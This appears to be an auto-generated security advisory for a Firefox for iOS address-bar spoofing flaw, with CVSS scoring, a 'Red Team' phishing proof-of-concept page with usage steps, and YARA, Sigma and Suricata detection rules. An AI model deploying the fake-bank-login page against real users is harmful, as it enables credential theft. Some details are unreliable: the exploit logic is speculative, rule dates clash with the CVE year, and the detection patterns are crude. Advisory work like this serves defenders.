CVE-2026-13356

Executive Summary

CVE-2026-13356 is a UI spoofing vulnerability affecting Firefox for iOS versions prior to 152.3. A malicious webpage can interrupt a pending navigation by enqueuing a synchronous JavaScript dialog (e.g., alert(), confirm(), prompt()). This causes the browser UI to display the destination origin in the address bar while continuing to render attacker-controlled content. The vulnerability allows an attacker to spoof the URL bar, potentially tricking users into trusting a malicious site as a legitimate one.

Affected Ecosystem: Firefox for iOS (mobile browser).
Attack Vector: Remote, via a malicious webpage.
Impact: UI spoofing, leading to potential credential theft or phishing.

Supply Chain & Package Security

This vulnerability is specific to the Firefox for iOS application, which is distributed through Apple’s App Store. There is no open-source package or library involved. The fix is applied via an app update (version 152.3). Users should update the app directly from the App Store.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the description, a more appropriate score is calculated below.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Base Score: 6.5 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

• Attack Vector (AV): Network – The attacker delivers the exploit via a webpage.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The user must visit the malicious page and interact with the dialog.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No data exfiltration.
• Integrity (I): High – The attacker can spoof the URL bar, leading to trust manipulation.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction but can be used in phishing campaigns to steal credentials or sensitive information.

Deep Dive & Mechanics

The vulnerability lies in how Firefox for iOS handles navigation and synchronous JavaScript dialogs. When a user clicks a link or triggers a navigation, the browser begins loading the new page. During this pending navigation, if the original page enqueues a synchronous dialog (e.g., alert()), the browser pauses the navigation and displays the dialog. However, the address bar may update to show the destination origin prematurely, while the page content remains from the attacker’s site.

Root Cause: The browser does not properly synchronize the address bar update with the actual page rendering. The dialog interrupts the navigation flow, causing a mismatch between the displayed URL and the rendered content.

Attack Scenario:

1. User visits attacker.com.
2. User clicks a link to legitimate-bank.com.
3. The attacker’s page enqueues a synchronous alert() dialog.
4. The address bar updates to legitimate-bank.com, but the page still shows attacker-controlled content.
5. The user sees the legitimate URL and may enter credentials, which are captured by the attacker.

Vulnerable vs. Patched Code

No specific code snippets are available, but the fix likely involves ensuring that the address bar does not update until the new page’s content is fully rendered and the dialog is dismissed. The patch in Firefox for iOS 152.3 addresses this by blocking the address bar update during pending navigations when a synchronous dialog is active.

Vulnerable Behavior:

• Navigation starts → Address bar updates → Dialog interrupts → Content remains from old page.

Patched Behavior:

• Navigation starts → Dialog interrupts → Address bar does not update until dialog is dismissed and new page content is rendered.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Firefox for iOS version < 152.3.
• A web server to host the malicious page.

Exploit Code (Conceptual):

<!DOCTYPE html>
<html>
<head>
    <title>Phishing Demo</title>
</head>
<body>
    <h1>Click the link below:</h1>
    <a href="https://legitimate-bank.com" id="phishLink">Go to Bank</a>
    <script>
        document.getElementById('phishLink').addEventListener('click', function(e) {
            e.preventDefault();
            // Start navigation
            window.location.href = 'https://legitimate-bank.com';
            // Enqueue synchronous dialog
            alert('Please wait...');
            // After dialog, the address bar shows legitimate-bank.com but content is still attacker's
            // Attacker can display a fake login form
            document.body.innerHTML = '<h2>Bank Login</h2><form><input type="text" placeholder="Username"><input type="password" placeholder="Password"><button>Login</button></form>';
        });
    </script>
</body>
</html>

Usage: Host this HTML on a server and send the link to the victim. When the victim clicks the link, the address bar will show the legitimate bank URL while the page displays a fake login form.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual navigation patterns and synchronous dialog usage.
• Use browser security extensions that warn about unexpected dialogs.

Defense:

• Update Firefox for iOS to version 152.3 or later.
• Educate users to verify the URL after dismissing dialogs.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URLs: Any malicious site that uses synchronous dialogs during navigation.
• Behavior: Unexpected alert(), confirm(), or prompt() dialogs when clicking links.
• Network: No specific network IOCs; the attack is client-side.

Detection Engineering

YARA Rule

rule CVE_2026_13356_UI_Spoofing {
    meta:
        description = "Detects HTML pages exploiting CVE-2026-13356 UI spoofing"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-13356"
    strings:
        $s1 = "alert(" nocase
        $s2 = "window.location.href" nocase
        $s3 = "addEventListener" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2026-13356 UI Spoofing via Synchronous Dialog
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects web pages that use synchronous dialogs during navigation to spoof the address bar.
author: Valters IT
date: 2025-04-10
logsource:
    category: proxy
    product: generic
detection:
    selection:
        http.user_agent|contains: "Firefox"
        http.response_body|contains: 
            - "alert("
            - "window.location.href"
    condition: selection
falsepositives:
    - Legitimate use of alert() during navigation (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-13356 - Firefox iOS UI Spoofing via Synchronous Dialog"; flow:to_client,established; content:"alert("; http_server_body; content:"window.location.href"; http_server_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Firefox for iOS to version 152.3 or later via the App Store.
2. If update is not possible, disable JavaScript or use a different browser.

Long-term Mitigations:

• Implement browser security features that prevent address bar spoofing.
• Use web application firewalls (WAF) to block malicious scripts.
• Educate users to verify URLs after dismissing dialogs.

Patch Details: The fix is included in Firefox for iOS 152.3. No other patches are available.

Valters IT